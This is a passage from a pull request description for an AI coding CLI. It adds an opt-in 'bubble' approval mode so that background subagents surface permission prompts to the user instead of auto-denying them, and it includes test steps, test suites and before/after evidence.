git push, anrm, a network call) is denied with "background agents cannot prompt for confirmation", reports failure, and the parent model typically re-runs the same command in the foreground — where the user gets the prompt anyway. The work bounces back and serializes: one extra round-trip, one wasted agent run, and backgrounding defeated for exactly the tasks long enough to be worth backgrounding.PermissionRequesthooks could already override the denial programmatically, but there was no path for the user to answer.Reviewer Test Plan
How to verify
In a trusted git project, create
.qwen/agents/bubbler.md:Start the CLI in default approval mode (not yolo/auto-edit) and prompt: "用 bubbler 这个 subagent 执行 shell 命令
git push --dry-run origin main并把原始输出汇报给我" (any non-allowlisted, confirmation-requiring command works; read-only commands are auto-allowed and won't exercise the path).Approve the agent launch. Within a few seconds the footer pill shows
1 local agent ⚠ needs approval.From an empty composer press
↓↓Enterto open the agent's detail view: a "Background agent needs approval" banner shows the exact command withYes, allow once / No. For compact tool prompts,←returns to the list (prompt stays parked) andxstops the agent; question-style prompts keep those keys for text input and navigation.Approve → the agent resumes, runs the command, completes, and the parent receives the normal task-notification with the real output. The transcript (
<projectDir>/subagents/<sessionId>/agent-*.jsonl) contains no "cannot prompt for confirmation" denial.Counter-checks: the same flow without
approvalMode: bubble(e.g. plain general-purpose) still auto-denies exactly as before; non-interactive runs (-p) keep auto-deny regardless of the flag.Test suites:
packages/core— background-tasks (16 new approval cases incl. a production-ordering cancel test wiring the bridge + abort chain), subagent-manager (frontmatter parse/validate/round-trip forbubble, unknown-mode rejection), agent (resolveSubagentApprovalModebubbleresolution + permissive-parent precedence);packages/cli— pillhasPendingApproval, background-view suites.Evidence (Before & After)
Before (any background subagent, current main): agent fails with
Tool "Shell" requires permission, but background agents cannot prompt for confirmation. The tool call was denied.→ parent re-runs the command in the foreground and prompts there.After (tmux against this branch, real model):
Detail view:
After approving:
Tested on: macOS (darwin arm64), Node 22.
Known follow-ups (out of scope here)
general-purpose, fork) do not bubble by default — enabling fork by default and giving it / a worker-style built-inapprovalMode: bubbleis tracked separately.